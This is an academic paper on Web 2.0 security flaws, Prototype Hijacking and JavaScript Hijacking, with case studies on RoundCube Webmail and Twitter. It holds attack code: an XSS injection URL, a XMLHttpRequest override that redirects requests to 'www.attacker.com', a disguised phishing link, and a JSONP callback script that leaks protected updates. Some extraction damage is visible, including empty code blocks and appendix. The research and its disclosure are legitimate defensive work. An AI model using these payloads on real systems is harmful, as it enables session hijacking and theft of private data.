Abstract

Web 2.0’s new technologies greatly extend the capabilities of web applications. With Web 2.0, applications become more interactive and user friendly allowing user-created content. Wikis and blogs are two simple examples of such applications. Unfortunately this new shift comes with a security cost since Web 2.0’s more complex architecture and the lack of understanding by most software developers of the security implications of these new model enable new classes of vulnerabilities. Our study focuses on two such vulnerabilities: JavaScript Hijacking and Prototype Hijacking. During our study of these vulnerabilities we were able to find real world web applications that were exposed to these types of vulnerabilities such as the Twitter social networking service and the RoundCube Webmail.

1 Introduction

Since its first introduction in early 90s, World Wide Web [4] has met an unprecedented evolution. While it began as a project to support the collaboration and sharing of resources between physicists and engineers at CERN, in our days evolved into the de facto model for communication and knowledge sharing.

The adoption of new technological vectors changed the Web from a static hypertext service into a dynamic and interactive web application model often called Web 2.0[13].
Server-side software components are enriched with XML-web services running on SOAP, XML-RPC and REST [5, 8, 9]. On the client-side, Asynchronous JavaScript and XML [10] (Ajax), is used to offer powerful end-user interfaces.

This technological shift has an impact on the overall architecture of web applications and the communication mechanism between client and server. In general, Web 2.0 is a more open platform, in that the new web technologies rely on the composition of content and services from multiple sources. On one end of the technology spectrum we have simple services such as blogs and wikis and on the other there are far more complex technology composition examples such as mash-ups. The promise of inexpensive and easy ways to compose software service and content is appealing and feeds the content composition trend.

Inevitably, at the same time this shift creates a larger attack surface with many more inputs to secure bringing in new security concerns and challenges. Web 2.0 applications use complex, asynchronous client-side scripts, and combine services across multiple domains enabling in this way new attack vectors. Some security practitioners and researchers [11] believe that Web 2.0 emerging technologies do not make web applications less secure. They base their argument in that nothing changes on the web server, where security is supposed to reside and therefore best security practices such as input validation and use of reliable software libraries, if followed carefully, are able to provide a secure web application.

However, real world examples such as the Samy worm on MySpace that was able to infect millions of users show that best security practices are not enough to provide defense against attacks. Our position is that new web technologies have evolved web applications into new complex models that make the application of these security practices not straightforward. This fact is more deteriorated by that most software developers of these kinds of web applications lack of understanding of the security implications of these new models and how new classes of vulnerabilities are made possible.

To support our position we studied some new classes of vulnerabilities related with Web 2.0 applications such as JavaScript Hijacking and Prototype Hijacking, which build on traditional web application vulnerabilities such as Cross-Site Request Forgery and Cross-Site Scripting. While these new vulnerabilities have already been presented in an abstract context, our contribution is their demonstration in real deployed web applications.

In the next section we present the software architecture of a Web 2.0 application. In section 3 we discuss basic vulnerabilities in traditional web applications and in section 4 we continue our discussion on security vulnerabilities in the context of Web 2.0 applications. We
then demonstrate those security vulnerabilities in real world web applications in section 5. 
Finally, in section 6 we offer some concluding remarks.

2 Web 2.0 Application Architecture

Web 2.0 is a term first introduced by O’Reilly Media in 2004 [13]. As defined in [3], Web 
2.0 is a second-generation of Web based communities and hosted services such as social 
networking sites, blogs and wikis that facilitate collaboration and sharing between users. 
Server-side software components are enriched with XML-web services running on SOAP, 
XML-RPC and REST [5, 8, 9]. On the client-side, Asynchronous JavaScript and XML [10] 
(Ajax), is used to offer powerful end-user interfaces.

Figure 2 shows the architecture layout of a Web 2.0 application. The browser on the 
left forms the client of the server on the right. The browser can be logically broken into 
three layers: [18].

1. **Presentation layer** HTML/CSS provides the overall appearance to the application in 
   the browser window.

2. **Logic & Process layer** JavaScript running in the browser empowers applications to 
   execute data processing and communication logic. Ajax driven components reside in 
   this layer.

3. **Transport layer** XMLHttpRequest (XHR) [12] provides asynchronous communication 
   capabilities and an XML exchange mechanism between client and server over HTTP.

Figure 1: Web 2.0 Application Architecture Layout
The server-side components on the right that usually reside in the corporate infrastructure typically include deployed web services on a software stack made of an operating system, web server and database system. A widely used open-source solution is the LAMP stack which is made of Linux, Apache, MySQL and PHP.

### 2.1 Asynchronous Javascript and XML (Ajax)

A key component to many Web 2.0 applications is Ajax, which is a collection of technologies including XMLHttpRequest, JavaScript, XML, and Document Object Model [10]. Popular web applications employing Ajax include GMail, Yahoo Mail and Google Maps. The main appeal of Ajax is the ability for dynamic updates of pages, enabling a user-friendly and interactive interface.

Dynamic updates of pages is achieved through the XMLHttpRequest object. As shown in figure 2b data can be exchanged between the client browser and web server asynchronously, without requiring the client browser to load an entire HTML page from the server. For example, in GMail, new mails are delivered to the inbox asynchronously without requiring the user to refresh the page.

![Classic and Web 2.0 Application Flow Models compared](image)

a. Classic Web Application Flow Model  
b. Web 2.0 Application Flow Model (asynchronous)

Figure 2: Classic and Web 2.0 Application Flow Models compared

### 2.2 Javascript Object Notation (JSON)

JSON as defined in [1] is a lightweight computer data interchange text-based human-readable format for representing two basic data structures types: objects and arrays, and
is mainly used to transmit such structured data over a network connection. JSON finds its main application in Ajax web application programming, as a simple alternative to using XML for asynchronously transmitting structured information between client and server.

3 Traditional Classes of Security Vulnerabilities

Before moving to advanced security vulnerabilities related with Web 2.0 applications, we first give a brief overview of two basic classes of security vulnerabilities found in traditional web applications. These classes are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (XSRF).

3.1 Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)[7] attack is made possible when a web application has a security vulnerability that allows an adversary to inject arbitrary malicious code into the web pages viewed by other users. Such vulnerability could be effected by no or wrong input validation by the web application. In this scenario the injected malicious code is executed from the user’s browser exposing them to variety of threats, such as session hijacking and information leakage, monitoring user’s web session and forwarding a copy to the adversary, or even changing what is displayed on the user’s screen.

3.2 Cross-Site Request Forgery (XSRF)

In a Cross-Site Request Forgery (XSRF)[19] attack the adversary tricks the victim into loading a page that contains an arbitrary malicious request. In this scenario the adversary’s goal is to hijacked the victim’s session and inherit the identity and their privileges to perform an undesired function on the victim’s behalf. In other words, a successful XSRF attack on an authenticated victim incapacitates the underlying authentication mechanism. In a web banking example, this could allow the adversary to launch a money transfer transaction on the victim’s behalf. In a web mail example, the adversary could post message or send mail in the name of the victim.
4 New Classes of Security Vulnerabilities

4.1 Prototype Hijacking

An attack that specifically targets Ajax applications has been recently introduced by Di Paola and Fedon [17]. The attack is termed Prototype Hijacking, and it exploits characteristics of Prototype-based language such as JavaScript. Note that an application is vulnerable to this attack only if it is possible for an attacker to inject his code into the client-side, for example through a XSS hole.

In a prototype-based language, a new object instance is not constructed via the object’s class constructor, instead it will be a clone of an existing object, commonly known as the prototype object. Any changes made to the original prototype object will affect the clone objects as well. This behavior is illustrated in the following example.

```
var cloneAry = new Array();
Array.newFunction = function() {
    alert("Array new function");
}
cloneAry.newFunction();
```

Prototype Hijacking specifically targets the XMLHttpRequest object to compromise the asynchronous communication between the client and the server.

```
var originalXML = XMLHttpRequest;
XMLHttpRequest = function() {
    this.newAttr = new originalXML();
    return this;
}
```

With the addition of the above code, any new instance of the XMLHttpRequest object will be a wrapper to the original XMLHttpRequest. An attacker can hijack the communication by redefining the function and attribute members of the original XMLHttpRequest. For example, the attacker can intercept and sniff any request made by the client browser, or it can redirect the client to a malicious server. Most importantly, because of the asynchronous behavior of Ajax, the attack is transparent to the end users.
In the following code example, we redefine XMLHttpRequest open function, which makes a call to the server.

```javascript
XMLHttpRequest.prototype.open = function(method, url, async) {
    // Attacker can do anything here
    Intercept(method, url);
    // Call the original XMLHttpRequest open(), possible to modify the arguments
    url = "www.attacker.com";
    return this.newAttr.open(method, url, async);
}
```

4.2 JavaScript Hijacking

Walker is the first to discuss how JavaScript when used as a data transport mechanism (JSON) is vulnerable to attack [20]. Chess et al. more recently coined the term JavaScript Hijacking to describe this type of vulnerability in their published security advisory [6], where they found that many popular Ajax frameworks such as Google Web Toolkit and Microsoft ASP.Net Ajax are susceptible to that kind of attack.

JavaScript Hijacking is possible because the security model encarnated by current Web browser clients does not anticipate the use of JavaScript for communicating confidential data. One such security model is the Same Origin Policy [16] that prevents a client-side JavaScript from accessing data that do not originate from the same domain where the script executes. However, it allows JavaScript from any website to be included and executed in the context of any other website. In Web 2.0, where applications often use JavaScript as a data transport mechanism, this security hole essentially extends the traditional cross-site request forgery vulnerability by introducing more complex forms.

Chess et al. demonstrate how someone could take advantage of this vulnerability to gain access to confidential data. Here we briefly present their method of attack and in section 5.2 we present as a case study on a deployed web application another similar way of taking advantage of JavaScript Hijacking to form an attack.

Recall from section 2.2 that the two basic data types in JSON are arrays and objects. The security weakness of JSON, which JavaScript Hijacking takes advantage of, is that an array stands on its own as a valid JavaScript statement. Consider the following code snippet that is part of a malicious web page that a victim is tricked to visit.

```javascript
7
```
Even if the above script originates from the malicious domain, it is handled by the web browser client as if it had originated from the legitimate domain http://www.mysite.com, because as explained before web browsers do not enforce the Same Origin Policy on executing client-side scripts. The end result is that the web browser will send the request together with the associated session cookie for that domain. If the result of the request is a JSON array that stands on its own as a valid statement, then the web browser executes it like any other script which in this case it creates an array object. The malicious domain cannot examine the content of the array directly, but by redefining the JavaScript Array object constructor, the attacker can place a hook that allows it to get access to the creation of each object and transmit the object’s contents back to the malicious site.

Applications that provide callback functions for their JSON data are also vulnerable to this attack. Because the browser will call the callback function when it loads the JSON, the attacker can compromise the JSON by redefining the callback function.

5 Case Studies

Here we present two case studies that demonstrate the security vulnerabilities of section ?? on real deployed web applications. Our general approach for exposing the vulnerabilities was mainly manual inspection of the client side script code and the server side code where available. Monitoring tools such as Firebug\(^1\) were quite helpful to our endeavour. Our first case study is RoundCube Webmail, which we deployed in the lab and our second case study is Twitter, which is deployed in the Internet by Obvious Corporation.

5.1 RoundCube WebMail - Prototype Hijacking

RoundCube Webmail is an open source browser based webmail application with an Ajax interface\(^2\). An XSS vulnerability was exposed by RSnake from http://ha.ckers.org [15], and the developers of RoundCube Webmail have promptly fixed this issue. Because we were not able to find a better candidate application, we decided to use an unfixed version of RoundCube Webmail to illustrate the Prototype Hijacking attack. We deployed

\(^1\)Firebug is a Firefox plugin to provide live editing, debugging, and monitoring of CSS, HTML, and JavaScript code in any web page
RoundCube Webmail 0.1-beta2.0 in the crash-and-burn lab by first setting up a LAMP stack with CentOS v4.0, Apache v2.0, MySQL v4.1 and PHP v4.3.

The XSS hole is a result of RoundCube Webmail not properly sanitizing the _action and _task parameters. For example, by submitting the following hyperlink request http://myroundcube.com/?_action=compose, the RoundCube web server will produce the following JavaScript code to be executed on the client browser.

rcmail.set_env( 'action', 'compose' );

Now, if the request is as follows:

http://myroundcube.com/?\_action=' ); alert("XSS"); //

it is then possible to inject a foreign JavaScript code into the client browser. The resulting code executed on the client browser is the following:

rcmail.set_env( 'action', '' ); alert("XSS"); // ' );

We injected the code illustrated in the previous section, including getter and setter functions for the attributes of the original XMLHttpRequest.

XMLHttpRequest.prototype.__defineGetter__ (  
"responseText", function () {  
value = this.newAttr.responseText;  
// possible to view or alter value here  
return value;  
});

If the user clicks a malicious hyperlink constructed by the malicious attacker, the foreign code will be executed on the client browser, and any communication sent through the XMLHttpRequest object will be compromised.

5.2 Twitter - Javascript Hijacking

Twitter is a social networking and blogging service that allows users to post updates, short text posts, via the Twitter website. Twitter is deployed by Obvious Corporation at http://www.twitter.com.
a. In Twitter, updates are only visible to friends.

b. The user Malicious Hacker sees galaxia’s updates through a galaxia’s friend

Figure 3: Hijacking Twitter

Since Twitter is proprietary, we did not have access to the source code. As a consequence we performed our security assessment directly on the deployed version. However, to perform our tests without compromising the privacy and security of the rest of the users we created multiple user accounts and restricted our experiments on just this set of accounts. The rest of the section describes how we exposed JavaScript Hijacking vulnerability on Twitter. Our approach is similar in spirit to the one described in section 4.2. Our contribution is exposing Javascript Hijacking on a real deployed web application. To our knowledge no one has exposed this vulnerability on Twitter before and feedback that we received from Jack Dorsey, operator of twitter.com, validates this.

Twitter exposes some of its functionality via an Application Programming Interface (API) to allow users to build mash-ups. With the exception of the public timeline, all Twitter API methods require authentication [14]. All responses are relative to the context of the authenticating user. For example as shown in figure 3a, an attempt to retrieve information on a protected user who is not friend with the requesting user will fail. However, JavaScript Hijacking can be used by a malicious user to get access to such information.

The malicious user Malicious Hacker sends the following message to Victim who is friend of galaxia in an attempt to trick him and see the updates of galaxia.

Hey! How is it going? Have you seen the breaking news at cnn.com?
http://www.cnn.com@128.6883103/%7e%68%76%6f%6c%6f%73/%74%65%73%74.%68%74%6d%6c
The above URL is an obscured version of the following URL:

http://www.cs.wisc.edu/~hvolos/temp/test.html

Essentially the user is tricked to execute the following script.

```html
<script type="text/javascript">
function foo(data){
    var name = "";
    var said = "";
    var i;
    for (i = 0; i < data.length; i++) {
        if (data[i].status) {
            name = data[i].name;
            said = data[i].status.text;
            document.write(name + " said: " + said + "<p>"));
        }
    }
}
</script>

<script src = "http://twitter.com/statuses/friends/idemocutu.json?callback=foo">  
</script>

The above script makes an API call in the context of the already authenticated user Victim. In response, Twitter's web server returns an array with the confidential information and the web browser client performs a callback to function foo which manipulates these data. In our case the script simply prints the data on the browser's window as shown in figure 3b, but it could easily changed to send the stolen data to the malicious user by leveraging the asynchronous communication mechanism XMLHttpRequest. Appendix A presents the whole JSON array object returned by Twitter.
6 Conclusion

Web 2.0 new technologies greatly extend the capabilities of web applications. With Web 2.0, applications become more interactive and user friendly allowing user-created content. Wikis and blogs are two simple examples of such applications. But nothing comes with a cost; at the same time, Web 2.0’s more complex architecture enables new classes of vulnerabilities such as *JavaScript Hijacking* and *Prototype Hijacking*. Their existence is not only theoretical, but also practical. During our study of these vulnerabilities we were able to find real world applications that were exposed to these types of vulnerabilities.

We believe the main reason behind the existence of these vulnerabilities is the lack of understanding of the security implications of these new models. Web 2.0 application developers have to become aware of these implications if they are going to design secure systems, otherwise security flaws will be inevitable.

References


A Twitter Response

The following is the JSON array object returned by Twitter in response to

http://twitter.com/statuses/friends/idevoctu.json?callback=foo


13